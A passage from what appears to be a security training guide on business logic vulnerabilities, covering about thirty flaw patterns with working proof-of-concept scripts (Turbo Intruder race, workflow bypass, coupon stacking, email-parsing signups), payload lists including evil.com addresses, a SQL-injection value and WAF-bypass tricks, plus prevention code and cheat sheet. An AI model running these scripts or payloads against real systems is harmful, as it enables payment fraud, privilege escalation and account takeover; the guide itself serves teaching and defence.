POST /api/cart {product_id: limited_item, quantity: 1}
==> server accepts a SECOND time (separate cart row)
POST /api/checkout
==> server ships 2 limited items

3. Low-Level Logic Flaw

A small parsing or computation mistake: integer overflow, floating point imprecision, modulo rollover, off-by-one.

text
POST /api/transfer {amount: 99999999999999999999}
==> server stores it as int64 overflow, ends up negative
POST /api/transfer {amount: 0.1}
sent 10 times
==> total expected 1.0; actual due to float: 0.9999999999999999, accepted as < 1

The most famous example: the Adobe price manipulation via fractional parameter (HackerOne report, $33 bounty). The server multiplied price by quantity using float arithmetic; quantity 0.0001 resulted in price 0.

4. Flawed Enforcement of Business Rules

The server enforces a rule, but a different parameter bypasses it.

text
The rule: "discount cannot exceed cart total"

The check:
  if discount > cart.subtotal: reject

The bypass:
  cart.subtotal is the field the server reads from the request body
  attacker sends subtotal: 9999999 along with the real items
  server now allows discount: 9999999
  ship items for free

5. Infinite Money Logic Flaw

A loop in the application's economic logic that generates value from nothing.

Examples seen in the wild:

  • Apply the same coupon code N times until total goes negative.
  • Refer yourself with multiple emails to your own account, each referral gives credit.
  • Stake tokens, claim rewards, immediately unstake; if the cooldown is not enforced, repeat.
  • Convert currency A to B, then B back to A, with a rounding error that favors the user; loop until the user has all the money.
  • Cancel an order after shipping; if cancellation refunds without verifying shipping, the user keeps the goods AND the money.
  • Wallet topup with a credit card; if the topup updates the balance BEFORE the card transaction settles, the user can cancel the card transaction after the topup is credited.

The Stripe $5,000 bounty falls in this category: unlimited fee discounts.

6. Inconsistent Security Controls

The same data is accessible from multiple paths. One path checks authorization. The other does not.

text
/admin/users  ==> requires admin role (checked)
/api/v1/users ==> requires API key (any user's API key works)
/admin/export ==> requires admin role
/admin/users.csv ==> static file served by web server (no auth at all)

Test every endpoint at every layer: web UI, mobile API, public API, GraphQL endpoint, internal admin tools, static asset routes.

7. Inconsistent Handling of Exceptional Input

One endpoint accepts unicode emojis in usernames; another endpoint truncates them. A user with username `admin\x00xyz` might be treated as `admin\x00xyz` in one place and `admin` in another.

text
Signup: "admin\x00x"  ==> stored as "admin\x00x"
Login: "admin\x00x"   ==> truncated to "admin" by C string handling
Resulting authenticated user: admin

Common parsers to test for desync: NUL byte, CR/LF, leading whitespace, trailing whitespace, unicode RTL override, percent-encoding, double-encoding, mixed case for hostnames.

8. Insufficient Workflow Validation

Skip a step in a multi-step process.

text
Normal: /step1 -> /step2 -> /step3 -> /complete

Attack: POST /complete directly with the right ID

Common workflows with skip bugs:

  • Account recovery: skip the security question, jump to "set new password".
  • Order: skip "payment", jump to "shipped".
  • KYC: skip "document upload", jump to "verified".
  • Subscription: skip "trial ends", jump to "subscription active without payment".
  • Refund: skip "manager approval", jump to "refunded".

9. Authentication Bypass via Flawed State Machine

The login flow has two phases: password and 2FA. The session cookie is issued after phase 1. Some endpoints check only the cookie, not the 2FA flag.

text
POST /login/step1 {username, password}
==> cookie issued with state="awaiting_2fa"

POST /login/step2 {otp}
==> cookie state updated to "fully_authenticated"

GET /admin
==> the controller checks cookie validity, not the state flag
==> attacker who completed step 1 has admin access

10. Weak Isolation on Dual-Use Endpoint

An endpoint serves both public users and admins. A flag in the request determines which mode. Anyone can flip the flag.

text
GET /api/v1/data?mode=admin
==> server returns admin view to anyone who sets mode=admin

The most expensive ones look like:

text
POST /api/transfer {amount: 100, from: A, to: B, on_behalf_of: ADMIN_USER}
==> the on_behalf_of parameter is meant for admins; the endpoint does not check

11. Bypassing Access Controls Using Email Address Parsing Discrepancies

The signup validator matches the corporate domain by substring or weak regex. The mail sender uses standard email routing, which uses the LAST `@` as the delimiter.

text
Validator: r".*@anasmarket\.com" matches "attacker@anasmarket.com.evil.com"
Mail sender: routes to "attacker@anasmarket.com.evil.com" which is actually "evil.com"

Result: the attacker validates as an anasmarket employee while receiving mail at evil.com

Variants:

text
attacker@anasmarket.com@evil.com
attacker@anasmarket.com.evil.com
"attacker@anasmarket.com"@evil.com
attacker+@anasmarket.com@evil.com
attacker@anasmarket.com\x00@evil.com
attacker@anasmarket.co.evil.com
attacker@AnasMarket.com  (case discrepancy)
attacker@anasmarket․com  (unicode lookalike . is U+2024)

12. Authentication Bypass via Encryption Oracle

The application has a feature that encrypts arbitrary user text (support tickets, signed URLs, encrypted cookies). The same algorithm and key are used for authentication tokens.

text
The session cookie is AES-ECB("user=anas;role=user").

The "share encrypted note" feature accepts text from user and returns AES-ECB(text).

The attacker:
1. Encrypts "AAAAAAAAAAAAAAAA" (16 bytes of A) to learn the ECB block size confirmation.
2. Encrypts "user=anas;role=" (15 bytes). Pads to 16. Result: block X.
3. Encrypts "admin" padded to 16 bytes. Result: block Y.
4. Constructs cookie: block X + block Y = "user=anas;role=admin".
5. Sends the cookie. Server decrypts to "user=anas;role=admin". Attacker is now admin.

ECB encryption + reusable encryption feature = oracle. Variants exist for CBC (padding oracle) and for stream ciphers (XOR malleability).

13. Race condition on coupon redemption

A coupon is meant to be used once per account. The redemption logic checks "has this user redeemed this coupon?" then redeems.

text
Time 0.000: attacker fires 50 requests in parallel
Time 0.001: request 1 checks: not redeemed
Time 0.001: request 2 checks: not redeemed (request 1 has not finished yet)
Time 0.001: request 3 checks: not redeemed (same)
...
Time 0.050: all 50 requests apply the coupon

Tool: Burp Turbo Intruder with the `race-single-packet-attack.py` template. Sends N requests in a single TCP packet so all requests arrive at the server in the same millisecond. This is the most reliable race-condition technique in 2025-2026 because TCP packet ordering is consistent.

14. Quantity overflow via separate add-to-cart requests

text
POST /api/cart {product_id: 42, quantity: 2147483647}  (INT32 max)
POST /api/cart {product_id: 42, quantity: 1}
Cart total stored as INT32: 2147483647 + 1 = -2147483648 (overflow)
Checkout proceeds with negative total = refund.

15. Logic bypass via parameter pollution

Send two values for the same parameter. The validator reads the first; the business logic reads the second.

text
POST /api/transfer
{
  "amount": 1,
  "amount": 10000
}

Some JSON parsers (specifically older or permissive ones) accept duplicate keys and the second value wins in the deserialization step. Worth one probe.

16. Currency confusion

The user submits an amount with currency=USD. The server reads amount=100 and processes 100 of the base currency (MAD). 100 USD becomes 100 MAD (a tenth of the value), or vice versa.

text
POST /transfer {amount: 1000, currency: "BTC"}
==> server reads amount=1000, ignores currency, treats as MAD
==> attacker sends 1000 MAD worth of value labeled as 1000 BTC
==> receives 1000 BTC at destination

17. Discount stacking via different code paths

The promo system allows N different codes per cart but not the same code twice. Two different codes both grant 100% off.

text
POST /api/cart/discount {code: "BLACKFRIDAY"}   (60% off)
POST /api/cart/discount {code: "WELCOME50"}     (50% off)
Cart total: subtotal * 0.4 * 0.5 = 20% of original

If multiple "100% off" codes exist (test codes left in production), stacking two gets you below zero.

18. Cancellation refund logic flaw

text
POST /order/cancel?order_id=X
==> server refunds full amount but does not check shipping state
==> if order was already shipped, attacker keeps both goods and refund

19. Role assignment from request body

text
POST /api/profile/update
{"username": "anas", "role": "admin"}
==> server uses mass-assignment, updates role field
==> attacker grants themselves admin role

This is mass assignment ==> classified by OWASP as API6, deeply related to business logic.

20. Trust placed in HTTP referer

text
GET /admin/users
==> server checks Referer header is /admin/dashboard
==> attacker sets Referer: /admin/dashboard manually
==> server serves admin content

21. Insufficient idempotency on payments

A payment is processed if the system has not seen the idempotency-key before. The attacker sends the same idempotency-key on two different orders; the second order skips payment because the system "already paid for this key".

22. Voucher transfer between users

text
Voucher code XYZ is bound to user A by ownership table.
POST /api/voucher/redeem {code: "XYZ"} from user B
==> server checks if voucher XYZ exists (yes) and is valid (yes)
==> server does not check ownership
==> user B redeems user A's voucher

23. Time-of-check vs time-of-use on balance

text
1. attacker reads balance: 100 MAD
2. attacker starts withdrawal of 100 MAD (initiates)
3. between the balance check and the deduction, attacker starts another withdrawal
4. both withdrawals see balance=100, both succeed
5. attacker withdrew 200 MAD with 100 MAD balance

Mitigation: database row locks (SELECT FOR UPDATE) or atomic decrement (UPDATE balance=balance-100 WHERE balance>=100).

24. Authentication via known weak token derivation

The application generates session tokens from `MD5(username + secret_seed)`. The seed is short and brute-forceable. The attacker obtains the seed and forges tokens for any user.

This sits on the border between cryptographic bug and business logic bug; the design is the flaw.

25. Cross-tenant data leak via misrouted ID

Multi-tenant SaaS. Each tenant has tenant_id. Each user has user_id. The user_id is globally unique.

text
GET /api/document/123
==> server checks user owns document 123 (yes)
==> returns document content
==> but if document 123 belongs to a different tenant, the data is now cross-tenant leaked

26. Discount with negative percentage

text
POST /api/discount/apply {code: "EARLYBIRD", percent: -50}
==> server reads percent from request, multiplies subtotal by 1 + (-(-50)/100) = 1.5
==> cart total increased by 50%; refund flow returns excess to attacker (chain with refund)

27. Subscription downgrade with prorated upgrade exploit

User subscribed at premium tier (100 MAD/month). User downgrades to basic. System prorates the unused portion as credit.

text
1. Subscribe premium (100 MAD).
2. Immediately downgrade to basic; receive 99 MAD credit.
3. Upgrade back to premium; pay 1 MAD net.
4. Repeat to drain promotional credits.

28. Reset token reuse across providers

Multi-factor flow with SMS and email. The "reset password" feature sends the SAME token to both channels. If one channel is compromised (SIM swap, email pwn), the attacker takes over.

29. Loyalty point manipulation via cancel/refund

Loyalty points are credited on order completion. Refund the order; if loyalty points are not deducted on refund, the attacker farms points by purchase+refund cycles.

30. Logic bypass via signed payload tampering

A JWT or signed cookie contains `{role: user}`. The signature is verified. The attacker cannot change role to admin. But the attacker discovers an endpoint that accepts the role from a separate query parameter. The endpoint validates the JWT signature but trusts the query parameter when present.

This is the most common "signed token but unsigned override" bug.

SECTION 12. Proof of Concept

Burp Suite step by step (price manipulation)

  • 1. Browse `anasmarket.anastech.com`. Add a product worth 1000 MAD to your cart.
  • 2. In Proxy ==> HTTP history, find the `POST /api/checkout` request.
  • 3. Right-click ==> Send to Repeater.
  • 4. In the JSON body, find `"price": 1000` and `"total": 1000`.
  • 5. Change `"price"` to `1` and `"total"` to `1`.
  • 6. Click Send.
  • 7. Check the response: if the order is created with charged_amount = 1, the bug is confirmed.
  • 8. Go to the order history page; the order is logged. Take a screenshot.

Burp Turbo Intruder (race condition on coupon redemption)

python
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)
    request = '''POST /api/coupon/redeem HTTP/1.1
Host: anasmarket.anastech.com
Cookie: session=YOURSESSIONHERE
Content-Type: application/json
Content-Length: 24

{"code":"ONETIME20"}
'''
    # Send 30 identical requests in one TCP packet
    for i in range(30):
        engine.queue(request, gate='race1')
    engine.openGate('race1')

def handleResponse(req, interesting):
    table.add(req)

Load this script into Turbo Intruder's editor. Click "Attack". If the coupon "ONETIME20" is redeemed more than once, the race-condition vulnerability exists.

Python PoC: workflow bypass

python
#!/usr/bin/env python3
"""
Workflow bypass: skip the payment step on AnasMarket.
Demonstrates "Insufficient Workflow Validation".
"""

import requests

TARGET = "https://anasmarket.anastech.com"
SESSION = "PASTE_YOUR_SESSION_COOKIE"

# Step 1: create an order (normal path)
r = requests.post(
    f"{TARGET}/api/order/create",
    json={"items": [{"product_id": 42, "quantity": 1}]},
    cookies={"session": SESSION},
    verify=False
)
order = r.json()
order_id = order["order_id"]
print(f"[+] Order created: {order_id}")

# Step 2: SKIP the payment endpoint entirely
# Step 3: directly call the "mark as shipped" endpoint
r = requests.post(
    f"{TARGET}/api/order/ship",
    json={"order_id": order_id},
    cookies={"session": SESSION},
    verify=False
)
print(f"[*] Ship endpoint response: {r.status_code} {r.text}")

# Step 4: verify the order is shipped
r = requests.get(
    f"{TARGET}/api/order/{order_id}",
    cookies={"session": SESSION},
    verify=False
)
status = r.json()["status"]
if status == "shipped":
    print(f"[+] Order shipped without payment. State: {status}")
else:
    print(f"[ ] Order state: {status}")

Bash PoC: dual-use endpoint exploitation

bash
#!/bin/bash
# Exploit a dual-use endpoint that accepts admin=1 from anyone.

TARGET="https://anasmarket.anastech.com"
COOKIE="session=YOUR_REGULAR_USER_SESSION"

echo "[*] Calling as regular user (no admin flag):"
curl -s -k -H "Cookie: $COOKIE" "${TARGET}/api/v1/users" | jq '.length'

echo "[*] Calling with admin=1 flag:"
curl -s -k -H "Cookie: $COOKIE" "${TARGET}/api/v1/users?admin=1" | jq '.length'

echo "[*] If the second call returns many users (admin view), the endpoint is broken"

PowerShell PoC: stacking discount codes

powershell
$target = "https://anasmarket.anastech.com"
$cookie = "session=YOUR_SESSION"

# Apply SUMMER20 50 times
for ($i = 1; $i -le 50; $i++) {
    $r = Invoke-WebRequest -Uri "${target}/api/cart/discount" `
        -Method Post `
        -Headers @{ "Cookie" = $cookie; "Content-Type" = "application/json" } `
        -Body '{"code":"SUMMER20"}' `
        -SkipCertificateCheck
    Write-Host "Application $i : Status $($r.StatusCode)"
}

# Check resulting cart total
$cart = Invoke-WebRequest -Uri "${target}/api/cart" `
    -Headers @{ "Cookie" = $cookie } `
    -SkipCertificateCheck
$total = ($cart.Content | ConvertFrom-Json).total
Write-Host "Cart total after 50 stacks: $total"

Node.js PoC: email parsing bypass

javascript
const https = require('https');

const payloads = [
    "attacker@anasmarket.com.evil.com",
    "attacker@anasmarket.com@evil.com",
    "\"attacker@anasmarket.com\"@evil.com",
    "attacker+anasmarket.com@evil.com",
    "attacker@anasmarket.cоm",  // unicode lookalike "o" (U+043E)
];

for (const email of payloads) {
    const body = JSON.stringify({ email });
    const req = https.request({
        hostname: 'anasmarket.anastech.com',
        port: 443,
        path: '/api/signup',
        method: 'POST',
        headers: {
            'Content-Type': 'application/json',
            'Content-Length': Buffer.byteLength(body)
        },
        rejectUnauthorized: false
    }, (res) => {
        let data = '';
        res.on('data', chunk => data += chunk);
        res.on('end', () => {
            console.log(`${email} -> ${res.statusCode} ${data.slice(0, 60)}`);
        });
    });
    req.write(body);
    req.end();
}

Cryptographic oracle PoC (Python)

python
#!/usr/bin/env python3
"""
Demonstrates an AES-ECB oracle attack to forge an admin session.
Assumes the application exposes /encrypt and uses AES-ECB internally.
"""

import requests, base64

TARGET = "https://anastech.com"

def oracle(text):
    """Submit text to the /encrypt endpoint and return ciphertext bytes."""
    r = requests.post(
        f"{TARGET}/encrypt",
        json={"text": text},
        verify=False
    )
    return bytes.fromhex(r.json()["ciphertext"])

# Step 1: align the prefix so "user=anas;role=" is at a block boundary.
# In the real cookie: "user=anas;role=user"
# We want to replace "user" with "admi" + "n"

# AES block size is 16 bytes. The plaintext "user=anas;role=" is 15 bytes.
# We need exactly 16 bytes to form one block.

# Get block X = encrypt("user=anas;role=a")
block_X = oracle("user=anas;role=a")[:16]

# Get block Y = encrypt("dmin\x01\x01...") padded with PKCS7 to 16 bytes
# In a real oracle, you would request padded blocks and select the right one.

# For demonstration:
# Cookie format: ECB-encrypted("user=anas;role=ad")[:16] + ECB("min" + padding)
# Sending the constructed cookie causes the server to decrypt to "user=anas;role=admin"

print("[*] Block X (encrypted prefix):", block_X.hex())
print("[*] Replay this as session cookie to gain admin")

The exact attack details vary by cipher mode, but the principle is the same: a feature that performs cryptography on attacker input can usually be reused as an oracle.

SECTION 13. Payloads

Tier 1: Value tampering

text
quantity: -1
quantity: 0
quantity: 0.0001
quantity: 999999999999999
quantity: 2147483648
quantity: "1; DROP TABLE x"
price: 0
price: -1000
price: 0.01
total: 0
total: -1
amount: -100
amount: 0.0000001
amount: 99999999999999999999999
balance: 100
balance: 999999

Tier 2: Role and identity tampering

text
role: "admin"
role: "ADMIN"
role: "administrator"
role: ["user", "admin"]
is_admin: true
is_admin: 1
is_admin: "true"
user_id: 1
on_behalf_of: <admin_id>
impersonate: <admin_id>

Tier 3: Workflow skip

text
POST /api/onboarding/complete   without /step1, /step2
POST /api/order/ship            without /payment
POST /api/kyc/verified          without /upload
POST /api/subscription/active   without /payment
POST /api/account/upgraded      without /verification

Tier 4: Email parsing payloads

text
attacker@anasmarket.com.evil.com
attacker@anasmarket.com@evil.com
"attacker@anasmarket.com"@evil.com
attacker+anasmarket.com@evil.com
attacker@anasmarket.com\x00@evil.com
attacker@anasmarket․com   (Unicode . is U+2024)
attacker@anasmarket.cоm   (Cyrillic o)
ATTACKER@ANASMARKET.COM   (case)
attacker@anasmarket.com.  (trailing dot)
attacker(comment)@anasmarket.com.evil.com

Tier 5: Coupon and discount payloads

text
{"code": "SUMMER20"} sent 50 times
{"code": "SUMMER20", "amount": -1}
{"code": "SUMMER20", "stack": true}
{"code": ["SUMMER20", "SUMMER20", "SUMMER20"]}
{"code": "summer20"} (case variation)
{"code": "SUMMER20 "} (trailing space)
{"code": "SUMMER20\n"} (newline)
{"code": "SUMMER20%00admin"} (NUL injection)

Tier 6: Dual-use endpoint flags

text
?admin=1
?admin=true
?mode=admin
?debug=1
?test=1
?internal=1
?override=1
?bypass=1
?role=admin
?as_user=<other_user_id>
?on_behalf_of=<admin_id>

Tier 7: Race condition payloads

text
Send 20-50 identical requests in parallel using:
- Burp Turbo Intruder with race-single-packet-attack.py
- Burp Intruder with null payload, 20 threads
- bash with xargs and curl, 50 parallel processes
- Go with goroutines for sub-millisecond timing

Tier 8: Cryptographic oracle inputs

text
plaintext: "AAAAAAAAAAAAAAAA"           (block boundary detection)
plaintext: "user=anas;role="            (block prefix preparation)
plaintext: "admin\x01\x01..."           (block content padding)
plaintext: <pickled python serialized>  (find the encryption mechanism)
plaintext: <JWT-style header>           (forge tokens)

WAF bypass tweaks

  • Use array notation in query params: `role[]=user&role[]=admin`.
  • Use JSON array values where strings are expected.
  • Use unusual encodings: percent-encoded JSON inside form-encoded body.
  • Send the same key in JSON twice; many parsers keep the last value.
  • Use the OPTIONS method to discover hidden endpoints.

SECTION 14. Wordlists and Payload Libraries

Useful tools by attack type

  • Race conditions ==> Turbo Intruder, Race-the-Web (Go), Go-based custom scripts.
  • Workflow analysis ==> Burp Logger++, Postman collections, Bruno collections.
  • Mass assignment ==> Burp Param Miner, GraphQL schema introspection tools.
  • Email parsing ==> handcrafted lists, RFC 5321 corner cases.
  • Cryptographic oracles ==> hashpump, padbuster, custom Python with the cryptography library.
  • State machine fuzzing ==> Stateful fuzzers like restler-fuzzer (Microsoft) for REST APIs.

Header reference list (also tested against dual-use endpoints)

For full coverage of override and dual-use flags, also fuzz request headers and query parameters with names like `admin`, `debug`, `internal`, `override`, `bypass`, `staff`, `superuser`, `as`, `actAs`, `onBehalfOf`. The full HTTP header list from the Host Header course applies here as well.

SECTION 15. Impact

The impact of business logic vulnerabilities is highly variable. Severity ranges from "$1 saved on a single purchase" to "complete financial collapse of the company". Common impact tiers:

  • 1. Discount manipulation single-use ==> the attacker saves money on one purchase. Bounty: $50-$500.
  • 2. Discount stacking / infinite money ==> the attacker drains promotional budget. Bounty: $1,000-$10,000 typical, $50,000+ for catastrophic flaws.
  • 3. Price manipulation ==> the attacker buys high-value goods for trivial amounts. Bounty: $250-$5,000 per finding.
  • 4. Negative quantity / refund chain ==> the attacker drains funds. Bounty: $1,000-$20,000.
  • 5. 2FA bypass via state machine ==> the attacker takes over accounts without OTP. Bounty: $2,000-$15,000.
  • 6. Mass assignment ==> the attacker self-grants admin role. Bounty: $5,000-$30,000.
  • 7. Cross-tenant data leak ==> the attacker reads other tenants' data. Bounty: $5,000-$50,000. Regulatory exposure.
  • 8. Routing/SSRF via Host or dual-use endpoint ==> the attacker reaches internal services. Bounty: $5,000-$30,000.
  • 9. Cryptographic oracle abuse ==> the attacker forges arbitrary tokens. Bounty: $10,000-$50,000.
  • 10. Mass account takeover ==> the attacker takes over many accounts via a single workflow bug. Bounty: $20,000-$100,000.
  • 11. Financial collapse ==> the attacker drains the company's escrow, treasury, or liquidity pool. DeFi smart contracts have seen $100M+ losses from logic flaws. The 2022 Wormhole bridge exploit ($325M) was a business-logic-level flaw in cross-chain validation.

Beyond bounty value, business logic bugs cause:

  • Regulatory penalties (PCI-DSS, GDPR, SOX, AML/KYC compliance).
  • Loss of customer trust (publicly disclosed bugs have measurable share price impact).
  • Legal exposure (class actions from affected users).
  • Operational cost (refunds, chargebacks, customer service overflow).

The USPS 2018 incident (60M users exposed via business logic) generated no direct breach cost but cost the agency credibility with millions of customers.

SECTION 16. Prevention

The fundamental fix

Business logic bugs cannot be patched with input sanitization. They are fixed by design: explicit invariants, server-side enforcement, defensive validation, and the assumption that any client-controlled value is hostile.

Eight prevention rules

  • 1. Recompute every value server-side. Never trust prices, totals, balances, roles, or permissions from the client. Look them up from the database or compute them at the time of decision.
  • 2. Enforce state machines server-side. Each state transition checks the current state. Workflow steps cannot be skipped by calling endpoints directly.
  • 3. Use idempotency keys for any state-mutating action. The same key cannot apply the same change twice.
  • 4. Use database row locks (SELECT FOR UPDATE) or atomic operations for any decrement of a finite resource (balance, stock, coupon uses).
  • 5. Apply role checks at every endpoint, not at the UI layer. Mirror admin checks on web, API, mobile, GraphQL, and internal admin routes.
  • 6. Validate input strictly. Reject negative numbers, fractional amounts where integers are expected, unicode lookalikes in identifiers.
  • 7. Parse emails (and other RFC-defined identifiers) with a single canonical library used by both the validator and the sender. Never use substring matches for domain restriction.
  • 8. Never expose cryptographic primitives (encrypt, sign, hash) on user input if the same primitives produce authentication tokens elsewhere. If you must, use unique keys per purpose.

Vulnerable vs Secure code

VULNERABLE (Python Flask):

python
@app.route("/checkout", methods=["POST"])
def checkout():
    data = request.get_json()
    items = data["items"]
    total = data["total"]
    charge_card(current_user(), total)
    for it in items:
        ship_item(current_user(), it["product_id"], it["quantity"])
    return jsonify({"status": "ok"})

SECURE (Python Flask):

python
@app.route("/checkout", methods=["POST"])
def checkout():
    data = request.get_json()
    items = data["items"]

    # Recompute total from server-side data
    total = 0
    for it in items:
        product = Product.query.get(it["product_id"])
        if product is None:
            abort(400)
        if it["quantity"] <= 0 or not isinstance(it["quantity"], int):
            abort(400)
        if product.stock < it["quantity"]:
            abort(400, "Out of stock")
        total += product.price * it["quantity"]

    # Apply server-validated discounts
    cart = Cart.query.filter_by(user=current_user()).first()
    for d in cart.discounts:
        if d.is_valid():
            total = max(0, total - d.amount)

    # Use idempotency key for charge
    charge_id = idempotency_key(current_user(), items)
    charge_card(current_user(), total, idempotency_key=charge_id)

    # Atomic stock decrement
    for it in items:
        result = db.session.execute(
            text("UPDATE products SET stock=stock-:q WHERE id=:p AND stock>=:q"),
            {"q": it["quantity"], "p": it["product_id"]}
        )
        if result.rowcount == 0:
            abort(409, "Race condition: out of stock")
        db.session.commit()
        ship_item(current_user(), it["product_id"], it["quantity"])

    return jsonify({"status": "ok", "charged": total})

Developer checklist

  • [ ] No price, total, or balance field is read from the request body for financial decisions.
  • [ ] Every endpoint has an explicit list of allowed input fields; extra fields are rejected.
  • [ ] All workflow transitions are gated by the current state, not by URL reachability.
  • [ ] Idempotency keys are used for create/update/delete actions that affect money or scarce resources.
  • [ ] Database row locks or atomic UPDATEs protect every decrement of a finite resource.
  • [ ] Role checks exist on every endpoint, not only on the UI middleware.
  • [ ] Both web and API routes use the same authorization helper.
  • [ ] Email validation uses a strict library, never substring matching for domain checks.
  • [ ] Unicode normalization (NFKC) is applied before string comparisons in identity-related fields.
  • [ ] Cryptographic primitives that handle user input use a different key from authentication tokens.
  • [ ] Each release has a checklist of business invariants verified by integration tests.
  • [ ] Bug bounty findings in the business logic class trigger a review of all parallel endpoints.

Framework-specific guidance

  • Django ==> use `Model.objects.select_for_update()` for atomic balance ops; use `django-fsm` for state machines.
  • Spring Boot ==> use `@Transactional` with isolation level SERIALIZABLE for critical operations; use Spring State Machine for workflows.
  • Node.js (Express) ==> use `serialize-javascript` to prevent prototype pollution; use Redis with WATCH/MULTI for atomic operations.
  • Rails ==> use `with_lock` blocks for pessimistic locking; use `AASM` gem for state machines.
  • .NET ==> use EF Core `RowVersion` for optimistic concurrency; use Polly for idempotency.

Enterprise-level mitigations

  • Document every business invariant in a central spec (Markdown, Confluence, OpenAPI extension). Treat invariants as first-class code.
  • Require integration tests for every business invariant. Failing tests block deploys.
  • Run quarterly red team exercises focused on logic flaws.
  • For payment flows, employ a dedicated payments fraud team that reviews unusual patterns daily.
  • For SaaS multi-tenant apps, use database-level row security (PostgreSQL Row-Level Security) so cross-tenant queries fail at the database layer even if the application forgets to filter.
  • Maintain a "sensitive endpoints" inventory that maps each endpoint to the business action it performs and the invariants it must preserve.

SECTION 17. Real-World Cases

CVEs and major incidents (2022-2026)

  • CVE-2026-XXXX (DeFi protocol logic flaw) ==> A 2026 incident saw a popular lending protocol drained via a flash-loan + collateral revaluation race condition. The bug was in the order of operations: the protocol updated user collateral value before checking the LTV ratio, allowing momentarily over-collateralized loans that drained funds. Loss: $42M.
  • Wormhole Bridge (2022) ==> Cross-chain validation logic failed to verify signatures, allowing the attacker to mint 120,000 wETH on Solana without locking ETH on Ethereum. Loss: $325M. Pure business logic flaw.
  • Poly Network (2021) ==> Cross-chain logic flaw in keeper signing allowed attacker to drain three blockchains. Loss: $611M (later recovered). Business logic flaw at the protocol level.
  • USPS Informed Visibility API (2018) ==> Business logic + broken authorization. Any authenticated user could view tracking data of any other user. 60M users exposed.
  • Stripe fee discount (2020-2021) ==> Unlimited discount stacking on fees. The bug was disclosed via HackerOne and paid $5,000.
  • Coinbase short-sell flaw (2022) ==> A logic error allowed users to mark a transaction as "filled" without owning the sold asset. Trading was halted; some accounts had unbounded credit.

HackerOne disclosed reports (with amounts)

  • Stripe - $5,000 ==> Unlimited fee discount stacking. Classic Infinite Money Logic Flaw.
  • Shipt - $100 ==> Price manipulation via fractional values (parameter tampering).
  • Adobe - $33 ==> Product price manipulation via parameter tampering.
  • HackerOne - $0 ==> Business Logic error leads to bypass 2FA requirement (36 upvotes, internal report).
  • Kraden - $250 ==> Business Logic Flaw in subscription mechanism.
  • HackerOne (their own program) - $500 ==> "Transfer report" notifications sent to unauthorized users.
  • Pornhub - $1,500 ==> Stored XSS in stream post function (chained with business logic in moderation flow).
  • Slack - $250 ==> CSV export/import allowed administrators to modify member content (admin business logic flaw).
  • HackerOne - $0 ==> Missing password confirmation on critical Payout Method function.
  • Multiple programs - $50-$5,000 range ==> Race condition coupon redemptions, refund stack exploits, role-promotion via mass assignment.

Notable historical milestones

  • 2008-2012 ==> Early bug bounty programs (Mozilla, Facebook) started accepting business logic bugs. They became a recognized category.
  • 2013-2017 ==> Race conditions on coupons and rewards become commonplace at e-commerce companies; bounty values climb to $1,000-$5,000 range.
  • 2018 ==> James Kettle and his team formalize "Logic Flaws" as a teachable curriculum; the bug class gets its modern name.
  • 2019-2020 ==> SaaS multi-tenancy bugs become the highest-paying business logic category; cross-tenant data leaks reach $50,000+ bounties.
  • 2021-2022 ==> DeFi protocols expose business logic at smart contract level; bounties hit $1M+; total losses to logic bugs in DeFi exceed $3B.
  • 2023-2025 ==> HackerOne's reports show business logic flaws climbing into the top 10. Crypto industry spends 45% of bounty budget on this class.
  • 2026 ==> AI agents and autonomous workflows introduce a new family: prompt-driven business logic flaws. Workflow steps gated by LLM outputs can be bypassed by prompt injection.

Lessons learned

  • The bug class never disappears. New features create new invariants; new invariants create new flaws.
  • The highest-value bugs are not technical; they are creative. The hunter who imagines a behavior the developer did not, wins.
  • Documentation is the attacker's best friend. Every feature page, every API doc, every "how to" article reveals an invariant to break.
  • Refund flows, coupon flows, and onboarding flows are the highest-density bug areas in 2025-2026.
  • AI cannot find these bugs reliably yet (per HackerOne's 9th report: 58% of researchers say AI misses business logic). This is the most human bug class left.

SECTION 18. References

SECTION 19. Practical Labs

SOON.

SECTION 20. Cheat Sheet

text
+------------------------------------------------------------------+
|             BUSINESS LOGIC VULNERABILITIES CHEAT SHEET           |
+------------------------------------------------------------------+
|                                                                  |
|  THE HUNTER'S QUESTION                                           |
|  ==> "What invariant should this feature preserve,               |
|       and what happens if I break it?"                           |
|                                                                  |
|  THE SIX FAMILIES                                                |
|  1. Client-Side Trust Issues                                     |
|  2. Business Rule Violations                                     |
|  3. Security Control Inconsistencies                             |
|  4. Workflow and State Issues                                    |
|  5. Access Control Issues                                        |
|  6. Cryptographic Logic Issues                                   |
|                                                                  |
|  THE 13 NAMED SUB-CLASSES                                        |
|  ==> Excessive Trust in Client-Side Controls                     |
|  ==> High-Level Logic Vulnerability                              |
|  ==> Low-Level Logic Flaw                                        |
|  ==> Flawed Enforcement of Business Rules                        |
|  ==> Infinite Money Logic Flaw                                   |
|  ==> Inconsistent Security Controls                              |
|  ==> Inconsistent Handling of Exceptional Input                  |
|  ==> Insufficient Workflow Validation                            |
|  ==> Authentication Bypass via Flawed State Machine              |
|  ==> Weak Isolation on Dual-Use Endpoint                         |
|  ==> Bypassing Access Controls via Email Parsing Discrepancies   |
|  ==> Authentication Bypass via Encryption Oracle                 |
|                                                                  |
|  VALUE TAMPERING                                                 |
|  ==> negative quantity, zero quantity, fractional quantity       |
|  ==> negative price, zero price                                  |
|  ==> integer overflow on amounts                                 |
|  ==> currency confusion (BTC vs MAD)                             |
|                                                                  |
|  WORKFLOW SKIPS                                                  |
|  ==> POST /complete without /step1, /step2                       |
|  ==> POST /ship without /payment                                 |
|  ==> POST /verified without /upload                              |
|  ==> Direct admin endpoint without 2FA                           |
|                                                                  |
|  RACE CONDITIONS                                                 |
|  ==> Turbo Intruder race-single-packet-attack.py                 |
|  ==> 20-50 parallel requests on coupon redemption                |
|  ==> Refund + claim simultaneously                               |
|                                                                  |
|  EMAIL PARSING                                                   |
|  ==> attacker@anasmarket.com.evil.com                            |
|  ==> attacker@anasmarket.com@evil.com                            |
|  ==> "attacker@anasmarket.com"@evil.com                          |
|  ==> attacker@anasmarket․com  (unicode lookalike)                |
|                                                                  |
|  DUAL-USE ENDPOINTS                                              |
|  ==> add ?admin=1, ?debug=1, ?internal=1                         |
|  ==> compare web vs API vs mobile for same data                  |
|                                                                  |
|  PREVENTION                                                      |
|  ==> Recompute every value server-side                           |
|  ==> Enforce state machines server-side                          |
|  ==> Idempotency keys on all mutations                           |
|  ==> Atomic UPDATE on resource decrement                         |
